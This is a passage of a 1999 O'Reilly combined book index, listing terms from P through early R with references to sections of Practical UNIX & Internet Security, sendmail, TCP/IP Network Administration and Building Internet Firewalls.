Practical UNIX & Internet Security, 17.3.11. Sun RPC's portmapper (UDP and TCP Ports 111)
Practical UNIX & Internet Security, 19.2.1. Sun's portmap/rpcbind
Practical UNIX & Internet Security, 19.4.5. Unintended Disclosure of Site Information with NIS
TCP/IP Network Administration, 2.7.2. Port Numbers
positional operators
sendmail, 9.2.3. The User ($:)
sendmail, 10.2.2. The RHS
sendmail, 12.1.4. Class Macros in the RHS
sendmail, 28.6.1. Copy by Position: $digit
m4 arguments and : sendmail, 19.1.3. m4 and arguments
positive acknowledgment
Building Internet Firewalls, C.6.2. Transmission Control Protocol
TCP/IP Network Administration, 1.6.2. Transmission Control Protocol
positivity : Practical UNIX & Internet Security, 2.4.4.2. Be positive
POSIX
Practical UNIX & Internet Security, 1.3. History of UNIX
Practical UNIX & Internet Security, 1.4.2. Software Quality
Practical UNIX & Internet Security, C.1.3.4. Process groups and sessions
chown command and : Practical UNIX & Internet Security, 5.7. chown: Changing a File's Owner
post office : sendmail, 18.1. To Use or Not to Use
Post Office Protocol : (see POP)
post office servers : (see mailbox servers)
"Posted-Date:" header line : sendmail, 35.10. Alphabetized Reference
postmaster alias
sendmail, 3.1.1. The Aliases File
sendmail, 24.4.1. The Postmaster Alias
sendmail, 34.8. Alphabetized Reference
postmaster, contacting : Practical UNIX & Internet Security, 24.2.4.2. How to contact the system administrator of a computer
PostmasterCopy (P) option
sendmail, 22.8.3.4. The PostmasterCopy option
sendmail, 24.4.1. The Postmaster Alias
sendmail, 34.8. Alphabetized Reference
PostScript application subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
PostScript files : Practical UNIX & Internet Security, 11.1.5. Viruses
pound sign (#) for comments
TCP/IP Network Administration, 3.2. The Host Table
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 7.7.1.1. A host configuration
TCP/IP Network Administration, 9.1.4. NFS Automounter
TCP/IP Network Administration, 9.2.1. The printcap File
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, A.1.1. The dip Script File
TCP/IP Network Administration, D.3. The dhcpd.conf Configuration File
power outage
logging : Practical UNIX & Internet Security, 10.7.1.1. Exception and activity reports
possible effects of
TCP/IP Network Administration, 9.4. A BOOTP Server
TCP/IP Network Administration, 9.5.1. dhcpd.conf
power surges
Practical UNIX & Internet Security, 12.2. Protecting Computer Hardware
Practical UNIX & Internet Security, 12.2.1.8. Electrical noise
(see also lightning)
PPP (Point-to-Point Protocol)
Practical UNIX & Internet Security, 14.5. Modems and UNIX
Practical UNIX & Internet Security, 16.2. IPv4: The Internet Protocol Version 4
TCP/IP Network Administration, 5.2. Linux Kernel Configuration
TCP/IP Network Administration, 5.3.1.2. Pseudo-device
TCP/IP Network Administration, 6.2.1. The Serial Protocols
as default : TCP/IP Network Administration, A.1.1. The dip Script File
installing
TCP/IP Network Administration, 6.1.5.5. Point-to-point
TCP/IP Network Administration, 6.3. Installing PPP
interoperability and : TCP/IP Network Administration, 6.2.2. Choosing a Serial Protocol
server configuration : TCP/IP Network Administration, 6.3.5. PPP Server Configuration
in Solaris : TCP/IP Network Administration, 6.3.6. Solaris PPP
tools reference : TCP/IP Network Administration, A. PPP Tools
ppp directory, protecting : TCP/IP Network Administration, A.2. The PPP Daemon
pppd (PPP daemon)
TCP/IP Network Administration, 6.3.1. The PPP Daemon
TCP/IP Network Administration, 6.3.4. PPP Daemon Security
TCP/IP Network Administration, A.2. The PPP Daemon
ppplogin : TCP/IP Network Administration, 6.3.5. PPP Server Configuration
.ppprc file : TCP/IP Network Administration, A.2. The PPP Daemon
prearranging file transfer : Building Internet Firewalls, 8.2.1.6. Be careful of writable
precedence
sendmail, 34.8. Alphabetized Reference
TCP/IP Network Administration, 10.5.6. Defining Mail Precedence
(see also priority, message)
"Precedence:" header line
sendmail, 14.4. Precedence
sendmail, 25.5.5. Precedence: bulk
sendmail, 26.1.3.1. class= the queue class
sendmail, 35.8. Precedence
sendmail, 35.10. Alphabetized Reference
predefined macros (sendmail)
sendmail, 7.3. Predefined Macros
sendmail, 31.1. Preassigned Macros
Predictor-1 compression : TCP/IP Network Administration, A.2. The PPP Daemon
preference
host
sendmail, 15.3. MX Records
sendmail, 21.3. Set Up MX Records
message delivery : (see priority, message)
values for
TCP/IP Network Administration, 7.6.1. gated's Preference Value
TCP/IP Network Administration, B.6. Interface Statements
TCP/IP Network Administration, B.8.5. The bgp Statement
TCP/IP Network Administration, B.9. static Statements
TCP/IP Network Administration, B.10. Control Statements
high-cost : TCP/IP Network Administration, 7.7.1.2. Interior gateway configurations
negative : TCP/IP Network Administration, B.10.1. The import Statement
prefix-length : TCP/IP Network Administration, 2.2.2. Classless IP Addresses
preprocessing rule set : (see rule set 3)
Presentation Layer : TCP/IP Network Administration, 1.2. A Data Communications Model
preserve program : Practical UNIX & Internet Security, 5.5.3.2. Another SUID example: IFS and the /usr/lib/preserve
Pretty Good Privacy : (see PGP)
prevention, cost of
Practical UNIX & Internet Security, 2.3. Cost-Benefit Analysis
Practical UNIX & Internet Security, 2.3.4. Convincing Management
pri= equate (syslog output) : sendmail, 26.1.3.7. pri= the initial priority
primary group : Practical UNIX & Internet Security, 4.1.3. Groups and Group Identifiers (GIDs)
primary servers
TCP/IP Network Administration, 3.3.4. BIND, resolver, and named
TCP/IP Network Administration, 4.4.1. Obtaining a Domain Name
TCP/IP Network Administration, 8.1.1. BIND Configurations
TCP/IP Network Administration, C.2. named.boot Configuration Commands
configuring : TCP/IP Network Administration, 8.3.1.2. Primary and secondary server configurations
offsite : sendmail, 21.5.2. Offsite Servers
principals, NIS+ : Practical UNIX & Internet Security, 19.5.1. What NIS+ Does
print servers : TCP/IP Network Administration, 3.7.2. Print Services
configuring
TCP/IP Network Administration, 4.5.2. Print servers
TCP/IP Network Administration, 9.2.1. The printcap File
print spool directory, making
TCP/IP Network Administration, 9.1.5.1. NFS print services
TCP/IP Network Administration, 9.2.1. The printcap File
print through process : Practical UNIX & Internet Security, 12.3.2.1. Verify your backups
printcap file : TCP/IP Network Administration, 9.2.1. The printcap File
printers and printing : Building Internet Firewalls, 3.1. Least Privilege
buffers : Practical UNIX & Internet Security, 12.3.4.1. Printer buffers
configuring protocols : Building Internet Firewalls, 8.17. Printing Protocols (lpr and lp)
delivery agent definitions : sendmail, 6.3.3. Testing the New Delivery Agent Definitions
/etc/hosts.lpd file : Practical UNIX & Internet Security, 17.3.18.6. /etc/hosts.lpd file
list of delivery agents : sendmail, 38.4.2. Show Delivery Agents with =M
logging to : Practical UNIX & Internet Security, 10.5.2.1. Logging to a printer
macro definitions : sendmail, 7.3. Predefined Macros
multiple printers : TCP/IP Network Administration, 9.2.1. The printcap File
output from printers : Practical UNIX & Internet Security, 12.3.4.2. Printer output
persistent-host status : sendmail, 36.7. Alphabetized Reference
ports for : Practical UNIX & Internet Security, 12.3.1.4. Auxiliary ports on terminals
queue
sendmail, 4.1.2. Show Queue Mode (-bp)
sendmail, 23.2.3.2. Locks shown when printing the queue
sendmail, 23.4. Printing the Queue
sendmail, 36.7. Alphabetized Reference
TCP/IP Network Administration, 9.2.1.2. Using LPD
security : TCP/IP Network Administration, 9.2.1.1. LPD security
sendmail.st file : sendmail, 26.2.2. Viewing Statistics: mailstats
systems : Building Internet Firewalls, 2.14. Printing Systems
priority
logging : sendmail, 26.1.1. syslog(3)
mailing lists : sendmail, 25.5.5. Precedence: bulk
messages
sendmail, 5.3.9. Priority
sendmail, 14.4. Precedence
sendmail, 23.4.1. Printing the Queue in Verbose Mode
sendmail, 23.9. The qf File Internals
sendmail, 26.1.3.7. pri= the initial priority
sendmail, 35.8. Precedence
TCP/IP Network Administration, 10.5.6. Defining Mail Precedence
TCP/IP Network Administration, B.8.4. The isis Statement
precedence weight : sendmail, 34.8. Alphabetized Reference
raising for retry : sendmail, 34.8. Alphabetized Reference
processes : Practical UNIX & Internet Security, C.1.3.3. Process priority and niceness
"Priority:" header line : sendmail, 35.10. Alphabetized Reference
privacy
Practical UNIX & Internet Security, 2.1. Planning Your Security Needs
Practical UNIX & Internet Security, 2.5.2. Confidential Information
Practical UNIX & Internet Security, 9. Integrity Management
Practical UNIX & Internet Security, 12.3. Protecting Data
Practical UNIX & Internet Security, 12.3.6. Key Switches
(see also encryption; integrity)
Electronic Communications Privacy Act (ECPA) : Practical UNIX & Internet Security, 26.2.3. Federal Computer Crime Laws
IP addresses : Building Internet Firewalls, 4.5. What the Future Holds
key cryptography : Building Internet Firewalls, 10. Authentication and Inbound
newsgroups : Building Internet Firewalls, 2.4. Usenet News
Secure RPC : Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
PrivacyOptions (p) option
sendmail, 22.8.3.5. The PrivacyOptions option
sendmail, 34.8. Alphabetized Reference
private argument : TCP/IP Network Administration, 6.1.5.3. Metric
private-key cryptography
Practical UNIX & Internet Security, 6.4. Common Cryptographic Algorithms
Practical UNIX & Internet Security, 6.4.1. Summary of Private Key Systems
TCP/IP Network Administration, 12.6. Encryption
privilege testing (modem) : Practical UNIX & Internet Security, 14.5.3.3. Privilege testing
privileges, file : (see permissions)
privileges, SUID : (see SUID/SGID programs)
probes, responding to : Building Internet Firewalls, 12.2.4. Responding to Probes
procedures for proxying, custom : Building Internet Firewalls, 7.2.2. Using Custom User Procedures for
processes
Practical UNIX & Internet Security, C.1. About Processes
Practical UNIX & Internet Security, C.5.3. Running the User's Shell
(see PIDs (process identifiers))
accounting
Practical UNIX & Internet Security, 10.2. The acct/pacct Process Accounting File
Practical UNIX & Internet Security, 10.2.3. messages Log File
group IDs
Practical UNIX & Internet Security, 4.3.3. Other IDs
Practical UNIX & Internet Security, C.1.3.4. Process groups and sessions
overload attacks
Practical UNIX & Internet Security, 25.2.1. Process-Overload Problems
Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
priority of : Practical UNIX & Internet Security, C.1.3.3. Process priority and niceness
scheduler : Practical UNIX & Internet Security, C.1.3.3. Process priority and niceness
processing
command-line processing : sendmail, 36.4. Processing the Command Line
flow of rules : sendmail, 29.3. The Sequence of Rule Sets
queue
sendmail, 23.5. How the Queue Is Processed
sendmail, 36.7. Alphabetized Reference
speed : Building Internet Firewalls, 5.3.2. How Fast a Machine?
procmail
TCP/IP Network Administration, E.3.5. MAILER
sendmail, 19.6. Alphabetized m4 Macros
sendmail, 25.7.5.2. The procmail program
Practical UNIX & Internet Security, 11.5.2.5. .forward, .procmailrc
.procmailrc file : Practical UNIX & Internet Security, 11.5.2.5. .forward, .procmailrc
.profile file
Practical UNIX & Internet Security, 8.1.4.1. Restricted shells under System V UNIX
Practical UNIX & Internet Security, 8.1.4.6. Potential problems with rsh
Practical UNIX & Internet Security, 11.5.2.1. .login, .profile, /etc/profile
Practical UNIX & Internet Security, 24.4.1.6. Changes to startup files
prog delivery agent : sendmail, 30.2.1. Required Symbolic Names
prog pattern : TCP/IP Network Administration, 13.3.1. archie
program database class : sendmail, 33.8. Alphabetized Reference
program form, F command : sendmail, 22.4.3. The F Command - Program Form
programmed threats
Practical UNIX & Internet Security, 11. Protecting Against Programmed Threats
Practical UNIX & Internet Security, 11.6.2. Shared Libraries
authors of : Practical UNIX & Internet Security, 11.3. Authors
checklist for : Practical UNIX & Internet Security, A.1.1.10. Chapter 11: Protecting Against Programmed Threats
protection from : Practical UNIX & Internet Security, 11.5. Protecting Yourself
references on : Practical UNIX & Internet Security, D.1.4. Computer Viruses and Programmed Threats
programs : Practical UNIX & Internet Security, 23. Writing Secure SUID and Network Programs
CGI : (see CGI, scripts)
delivering to
sendmail, 3.2.2. Delivery Through a Program
sendmail, 24.2.3. Delivery via Programs
sendmail, 25.7.4. Piping Through Programs
sendmail, 30.8. Alphabetized F= Flags
filter
sendmail, 24.4.1. The Postmaster Alias
sendmail, 24.6.2. Filtering Recipients with a Shell Script
for network services : Practical UNIX & Internet Security, 23.3. Tips on Writing Network Programs
nonessential, removing : Building Internet Firewalls, 5.8.4.2. Remove nonessential programs
rabbit
Practical UNIX & Internet Security, 11.1. Programmed Threats: Definitions
Practical UNIX & Internet Security, 11.1.7. Bacteria and Rabbits
references for : Practical UNIX & Internet Security, D.1.11. UNIX Programming and System Administration
running simultaneously : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
secure : Practical UNIX & Internet Security, 23. Writing Secure SUID and Network Programs
worms : Practical UNIX & Internet Security, 11.1.6. Worms
Project Athena : (see Kerberos authentication system)
.project file : Practical UNIX & Internet Security, 17.3.8.1. The .plan and .project files
promiscuous mode
Building Internet Firewalls, 5.5. Locating the Bastion Host on the Network
TCP/IP Network Administration, 6.1.5.5. Point-to-point
TCP/IP Network Administration, 11.7.1. Packet Filters
interface : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
proprietary ownership notices : Practical UNIX & Internet Security, 26.2.6. Other Tips
prosecution, criminal
Practical UNIX & Internet Security, 26.2. Criminal Prosecution
Practical UNIX & Internet Security, 26.2.7. A Final Note on Criminal Actions
proto clauses
TCP/IP Network Administration, 7.7.1.3. Exterior gateway configuration
TCP/IP Network Administration, A.1. Dial-Up IP
TCP/IP Network Administration, B.10.2. The export Statement
proto= equate (syslog output) : sendmail, 26.1.3.8. proto= the protocol used in transmission
protocols : Practical UNIX & Internet Security, 16.2.4. Packets and Protocols
analyzers
Building Internet Firewalls, 8.18. Analyzing Other Protocols
TCP/IP Network Administration, 5.3.1.2. Pseudo-device
TCP/IP Network Administration, 11.7. Analyzing Protocol Problems
TCP/IP Network Administration, 12.2.3. One-Time Passwords
bidirectionality of : Building Internet Firewalls, 6.2.1. Protocols Are Usually
client server : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
data : (see TCP/IP services)
dedicated Archie : Building Internet Firewalls, 8.7.3.3. Providing Archie service to your
IP : (see IP protocols)
above IP : Building Internet Firewalls, 6.3.3. Protocols Above
manager/agent : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
minor : TCP/IP Network Administration, 2.7.1. Protocol Numbers
name, alias for : TCP/IP Network Administration, 2.7.1. Protocol Numbers
non-IP : Building Internet Firewalls, 6.3.7. Non-IP Protocols
numbers for
Building Internet Firewalls, C.12.1. Protocol Numbers
TCP/IP Network Administration, 1.5.1.4. Passing datagrams to the transport layer
TCP/IP Network Administration, 2.7.1. Protocol Numbers
packet filtering and : Building Internet Firewalls, 6.1.2.2. Some protocols are not well suited to packet
problems, troubleshooting : TCP/IP Network Administration, 11.7. Analyzing Protocol Problems
routing : (see RIP)
security of, and proxying : Building Internet Firewalls, 7.4.3. Protocol Security
stack
TCP/IP Network Administration, 1.2. A Data Communications Model
TCP/IP Network Administration, 11.1. Approaching a Problem
standards
TCP/IP Network Administration, 1.1.2. Protocol Standards
TCP/IP Network Administration, 1.7. Application Layer
statements (in gated) : TCP/IP Network Administration, B.8. Protocol Statements
suite : TCP/IP Network Administration, 1.2. A Data Communications Model
time-dependence of : Building Internet Firewalls, 8.13. Network Time Protocol (NTP)
tracing : TCP/IP Network Administration, B.1. The gated Command
transmission
sendmail, 26.1.3.8. proto= the protocol used in transmission
sendmail, 31.10. Alphabetized Reference
$r macro : sendmail, 31.10. Alphabetized Reference
setting : sendmail, 36.7. Alphabetized Reference
weaknesses of, and proxy services : Building Internet Firewalls, 7.1.2.5. Proxy services don't protect you from all protocol
Protocol Data Units (PDUs) : TCP/IP Network Administration, 11.9. Simple Network Management Protocol
protocols file
TCP/IP Network Administration, 2.7.1. Protocol Numbers
TCP/IP Network Administration, 5.4. The Internet Daemon
TCP/IP Network Administration, 9.3. Network Information Service
Protocols table (NIS+) : Practical UNIX & Internet Security, 19.5.3. NIS+ Tables
proxy servers/services
Building Internet Firewalls, 4.1. Some Firewall Definitions
Building Internet Firewalls, 4.1.2. Proxy Services
Building Internet Firewalls, 7. Proxy Systems
Building Internet Firewalls, 7.4. Using Proxying with Internet
TCP/IP Network Administration, 4.2.1. Obtaining an IP Address
TCP/IP Network Administration, 5.3.1.1. Options
TCP/IP Network Administration, 12.7. Firewalls
application- versus circuit-level : Building Internet Firewalls, 7.3.1. Application-Level Versus Circuit-Level
characteristics of
Archie : Building Internet Firewalls, 8.7.3.2. Proxying characteristics of
Berkeley r commands : Building Internet Firewalls, 8.4.1.2. Proxying characteristics of the
DNS : Building Internet Firewalls, 8.10.2. Proxying Characteristics of
finger : Building Internet Firewalls, 8.8.1.2. Proxying characteristics of finger
FSP : Building Internet Firewalls, 8.2.3.2. Proxying characteristics of
FTP : Building Internet Firewalls, 8.2.1.2. Proxying characteristics of
Gopher : Building Internet Firewalls, 8.7.1.2. Proxying characteristics of Gopher
HTTP : Building Internet Firewalls, 8.6.2. Proxying Characteristics of
IRC : Building Internet Firewalls, 8.9.2.2. Proxying characteristics of
lp : Building Internet Firewalls, 8.17.3. Packet Filtering and Proxying
lpr : Building Internet Firewalls, 8.17.2. Proxying Characteristics of lpr
NFS : Building Internet Firewalls, 8.14.2. Proxying Characteristics of
NIS : Building Internet Firewalls, 8.15.2. Proxying Characteristics of
NNTP
Building Internet Firewalls, 8.5.2. Proxying Characteristics of
Building Internet Firewalls, 8.5.4. Good Ways to Set up
NTP : Building Internet Firewalls, 8.13.2. Proxying Characteristics of
ping : Building Internet Firewalls, 8.12.3.2. Proxying characteristics of ping
POP : Building Internet Firewalls, 8.1.2.2. Proxying characteristics of
rex : Building Internet Firewalls, 8.4.3.2. Proxying characteristics of rex
rexec : Building Internet Firewalls, 8.4.2.2. Proxying characteristics of
RIP : Building Internet Firewalls, 8.12.2.2. Proxying characteristics of
SMTP : Building Internet Firewalls, 8.1.1.5. Proxying characteristics of SMTP
SNMP : Building Internet Firewalls, 8.12.1.2. Proxying characteristics of SNMP
syslog : Building Internet Firewalls, 8.11.2. Proxying Characteristics of syslog
talk : Building Internet Firewalls, 8.9.1.2. Proxying characteristics of talk
Telnet : Building Internet Firewalls, 8.3.2. Proxying Characteristics of Telnet
TFTP : Building Internet Firewalls, 8.2.2.2. Proxying characteristics of
traceroute : Building Internet Firewalls, 8.12.4.2. Proxying characteristics of
UUCP : Building Internet Firewalls, 8.2.4.2. Proxying characteristics of UUCP
WAIS : Building Internet Firewalls, 8.7.2.2. Proxying characteristics of
whois : Building Internet Firewalls, 8.8.2.2. Proxying characteristics of whois
checklist for : Practical UNIX & Internet Security, A.1.1.21. Chapter 22: Wrappers and Proxies
generic versus dedicated : Building Internet Firewalls, 7.3.2. Generic Versus Dedicated Proxies
intelligent servers : Building Internet Firewalls, 7.3.3. Intelligent Proxy Servers
internal versus external clients : Building Internet Firewalls, 7.4.5. Internal Versus External Clients
Internet services and : Building Internet Firewalls, 7.4. Using Proxying with Internet
multiple operating systems and : Building Internet Firewalls, 7.1. Why Proxying?
protocol security : Building Internet Firewalls, 7.4.3. Protocol Security
providing on a firewall : TCP/IP Network Administration, 12.7.1. Functions of the firewall
SOCKS package for : Building Internet Firewalls, 7.6. Using SOCKS for
software for : Building Internet Firewalls, 7.2. How Proxying Works
TIS Internet Firewalls Toolkit for : Building Internet Firewalls, 7.7. Using the TIS
tools for : Building Internet Firewalls, B.4. Proxy Systems Tools
versus packet filtering : Building Internet Firewalls, 6.1.1.2. Packet filtering doesn't require user knowledge or
when unable to provide : Building Internet Firewalls, 7.8. What If You Can't Proxy?
without proxy server : Building Internet Firewalls, 7.5. Proxying Without a Proxy Server
proxyarp option : TCP/IP Network Administration, A.2. The PPP Daemon
pruning route addresses : sendmail, 34.8. Alphabetized Reference
pruning the wtmp file : Practical UNIX & Internet Security, 10.1.3.1. Pruning the wtmp file
ps command
Practical UNIX & Internet Security, 6.6.2. des: The Data Encryption Standard
Practical UNIX & Internet Security, 10.1.2. utmp and wtmp Files
Practical UNIX & Internet Security, 19.3.2.3. Making sure Secure RPC programs are running on every
Practical UNIX & Internet Security, 24.2.1. Catching One in the Act
Practical UNIX & Internet Security, C.1.2. The ps Command
Practical UNIX & Internet Security, C.1.2.2. Listing processes with Berkeley-derived versions of
sendmail, 4.1.1.3. Kill and restart, old versions
TCP/IP Network Administration, 12.4.1. Know Your System
with kill command : Practical UNIX & Internet Security, 24.2.5. Getting Rid of the Intruder
to stop process overload
Practical UNIX & Internet Security, 25.2.1.1. Too many processes
Practical UNIX & Internet Security, 25.2.1.2. System overload attacks
PSBUFSIZ macro : sendmail, 18.8. Alphabetized Reference
pseudo-device statement : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
pseudo-devices : Practical UNIX & Internet Security, 5.6. Device Files
pseudo-domains : TCP/IP Network Administration, 10.7.1. Modifying Local Information
pseudorandom functions : Practical UNIX & Internet Security, 23.6. Tips on Generating Random Numbers
pseudo-terminals : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
PTR resource records
TCP/IP Network Administration, 8.3.5. The Reverse Domain File
TCP/IP Network Administration, C.3.1.6. Domain Name Pointer record
ptys : TCP/IP Network Administration, 5.3.1.2. Pseudo-device
PUBDIR= command : Practical UNIX & Internet Security, 15.5.2. Permissions Commands
public key cryptography
Building Internet Firewalls, 10. Authentication and Inbound
Practical UNIX & Internet Security, 6.4. Common Cryptographic Algorithms
Practical UNIX & Internet Security, 6.4.2. Summary of Public Key Systems
Practical UNIX & Internet Security, 6.4.6. RSA and Public Key Cryptography
Practical UNIX & Internet Security, 6.4.6.3. Strength of RSA
Practical UNIX & Internet Security, 6.5.3. Digital Signatures
Practical UNIX & Internet Security, 18.3. Controlling Access to Files on Your Server
Practical UNIX & Internet Security, 18.6. Dependence on Third Parties
TCP/IP Network Administration, 12.6. Encryption
breaking : Practical UNIX & Internet Security, 19.3.4. Limitations of Secure RPC
PGP : Practical UNIX & Internet Security, 6.6.3.2. Creating your PGP public key
proving identity with : Practical UNIX & Internet Security, 19.3.1.1. Proving your identity
publicity hounds : Practical UNIX & Internet Security, 11.3. Authors
publicizing security holes : Practical UNIX & Internet Security, 2.5.1. Going Public
publickey file : Practical UNIX & Internet Security, 19.3.2.1. Creating passwords for users
pulse code modulation (PCM) audio subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
Purdue University (PCERT) : Practical UNIX & Internet Security, F.3.4.30. Purdue University
purgestat command : sendmail, 36.1.4. purgestat (V8.8 and Above)
purging persistent-host status : sendmail, 36.7. Alphabetized Reference
Purify : Practical UNIX & Internet Security, 23.2. Tips on Avoiding Security-related Bugs
pursuing intruders : Building Internet Firewalls, 13.3. Pursuing and Capturing the
pwck command : Practical UNIX & Internet Security, 8.2. Monitoring File Format

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

q class : sendmail, 32.5. Alphabetized Reference
-q database switch : sendmail, 33.3.4.9. -q don't strip quotes from key (V8.7 and above)
q flag : sendmail, 30.8. Alphabetized F= Flags
Q line (qf file) : sendmail, 23.9. The qf File Internals
$q macro : sendmail, 31.10. Alphabetized Reference
q option : (see QueueFactor (q) option)
Q option : (see QueueDirectory (Q) option)
-q switch (sendmail)
sendmail, 4.1.1. Daemon Mode (-bd)
sendmail, 15.5. Prevent the Daemon from Running
sendmail, 23.6.1. Periodically with -q
sendmail, 23.6.2. From the Command Line
sendmail, 36.7. Alphabetized Reference
-qI, -qS, -qR switches : sendmail, 23.6.2.3. Process by identifier/recipient/sender: -q[ISR]
Q-ID : (see queue identifier)
qf files
sendmail, 3.1.2. The Queue Directory
sendmail, 23.2.5. The Queue Control File: qf
sendmail, 23.9. The qf File Internals
bogus (Qf file) : sendmail, 23.3. A Bogus qf File (V8 only): Qf
version of : sendmail, 23.9. The qf File Internals
qualifying addresses
sendmail, 16.5. Qualify All Addresses?
sendmail, D.3. K Command's -d switch
FQDNs : (see FQDNs)
quality of software
Practical UNIX & Internet Security, 1.4.2. Software Quality
Practical UNIX & Internet Security, 1.4.3. Add-On Functionality Breeds Problems
quantifying threats : Practical UNIX & Internet Security, 2.2.1.3. Quantifying the threats
query-response model : TCP/IP Network Administration, 1.6.1. User Datagram Protocol
question mark (?) for delivery agent flags
sendmail, 14.2. Headers Versus Delivery Agent Flags
sendmail, 35.4. ?flags? in Header Definitions
queue
sendmail, 1.3.2. The Queue
sendmail, 23. The Queue
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
checkpointing : sendmail, 34.8. Alphabetized Reference
down sites and : sendmail, 23.7.1. Handling a Down Site
message life : sendmail, 13.2.2. Limit the Life of Queued Messages
message parts : sendmail, 23.2. Parts of a Queued Message
printing
sendmail, 4.1.2. Show Queue Mode (-bp)
sendmail, 23.2.3.2. Locks shown when printing the queue
sendmail, 23.4. Printing the Queue
sendmail, 36.7. Alphabetized Reference
processing
sendmail, 23.5. How the Queue Is Processed
sendmail, 36.7. Alphabetized Reference
last time of : sendmail, 23.9. The qf File Internals
putting everything in : sendmail, 34.8. Alphabetized Reference
requeuing on error : sendmail, 25.7.6. Force Requeue on Error
sendmail options for : sendmail, 34.6.2. The Queue
sorting : sendmail, 34.8. Alphabetized Reference
time message placed in : sendmail, 23.9. The qf File Internals
troubleshooting : sendmail, 23.8. Pitfalls
why message is stored in : sendmail, 23.9. The qf File Internals
queue directory
sendmail, 3.1.2. The Queue Directory
sendmail, 13.2.1. The Location of the Queue Directory
sendmail, 15.2. The Real Queue Directory
sendmail, 34.8. Alphabetized Reference
alternate : sendmail, 23.7. Process Alternate Queues
forging mail with
sendmail, 13.2.1. The Location of the Queue Directory
sendmail, 22.7.1. Forging with the Queue Directory
installing sendmail and : sendmail, 18.7. Pitfalls
permissions for : sendmail, 23.1. Overview of the Queue
queue file : sendmail, 34.8. Alphabetized Reference
identifier for ($i macro) : sendmail, 14.2.3. The Message-ID: Header
processing : sendmail, 34.8. Alphabetized Reference
queue identifier
sendmail, 4.2. Verbose (-v)
sendmail, 23.2.1. The Queue Identifier
sendmail, 23.4. Printing the Queue
QUEUE macro : sendmail, 18.8. Alphabetized Reference
QueueDirectory (Q) option
sendmail, 3.1.2. The Queue Directory
sendmail, 5.3.7. Options
sendmail, 13.2.1. The Location of the Queue Directory
sendmail, 15.2. The Real Queue Directory
sendmail, 23.1. Overview of the Queue
sendmail, 34.8. Alphabetized Reference
QueueFactor (q) option : sendmail, 34.8. Alphabetized Reference
QueueLA (x) option
sendmail, 23.6.1. Periodically with -q
sendmail, 34.8. Alphabetized Reference
queuereturn keyword
sendmail, 13.2.2. Limit the Life of Queued Messages
sendmail, 23.9. The qf File Internals
QUEUESEGSIZE macro : sendmail, 18.8. Alphabetized Reference
QUEUESIZE variable : sendmail, 23.5. How the Queue Is Processed
QueueSortOrder option : sendmail, 34.8. Alphabetized Reference
QueueTimeout (T) option
sendmail, 23.9. The qf File Internals
sendmail, 34.8. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
queuewarn keyword : sendmail, 13.2.2. Limit the Life of Queued Messages
quicktime video subtype : TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions
QUIT command
sendmail, 4.2. Verbose (-v)
TCP/IP Network Administration, 3.4.2. Post Office Protocol
TCP/IP Network Administration, 3.4.1. Simple Mail Transfer Protocol
quot command : Practical UNIX & Internet Security, 25.2.2.2. quot command
quotacheck -a command : Practical UNIX & Internet Security, 25.2.2.5. Using quotas
quotas
Practical UNIX & Internet Security, 25.2.2.5. Using quotas
Practical UNIX & Internet Security, 25.2.4. /tmp Problems
quotation marks
sendmail, 13.2.8. The Unquoted Space Replacement Character
sendmail, 19.1.1. m4 is greedy
sendmail, 31.3.2. Syntax of the Configuration File Macro's Text
sendmail, 34.8. Alphabetized Reference
dequote database class : sendmail, 33.8. Alphabetized Reference
in header fields : sendmail, 35.3.3. Quoted Strings in the Header Field
stripping from addresses
sendmail, 30.8. Alphabetized F= Flags
sendmail, 33.3.4.9. -q don't strip quotes from key (V8.7 and above)
"" (expect nothing)
TCP/IP Network Administration, 6.3.3. chat
TCP/IP Network Administration, A.3. chat
quoted-printable encoding
sendmail, 18.8. Alphabetized Reference
sendmail, 30.8. Alphabetized F= Flags
TCP/IP Network Administration, 3.4.3. Multipurpose Internet Mail Extensions

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: R

r commands : Building Internet Firewalls, 5.8.2.4. Which services should you disable?
configuring : Building Internet Firewalls, 8.4.1. BSD
packet filtering and : Building Internet Firewalls, 6.1.2.2. Some protocols are not well suited to packet
R configuration command
sendmail, 5.3.3. Rules
sendmail, 8.4. Rules
sendmail, 27.2. Comments
sendmail, 28.1. Overview
sendmail, 29.1.5. Rule Sets and Lists of Rules
r flag
sendmail, 30.7. Pitfalls
sendmail, 30.8. Alphabetized F= Flags
R flag : sendmail, 30.8. Alphabetized F= Flags
R in configuration file : sendmail, 1.3.1. The Configuration File
R line (host status file) : sendmail, B.1. Status file lines
R line (qf file)
sendmail, 23.4.1. Printing the Queue in Verbose Mode
sendmail, 23.9. The qf File Internals
$r macro
sendmail, 23.9. The qf File Internals
sendmail, 26.1.3.8. proto= the protocol used in transmission
sendmail, 31.10. Alphabetized Reference
sendmail, 36.7. Alphabetized Reference
$R macro : sendmail, 31.10. Alphabetized Reference
R option
sendmail, D.5. The > Option
(see DontPruneRoutes command)
r option : (see Timeout (r) option)
-r switch (makemap) : sendmail, 33.2.1.5. -r replace (silently) duplicate keys
-r switch (sendmail)
sendmail, 30.8. Alphabetized F= Flags
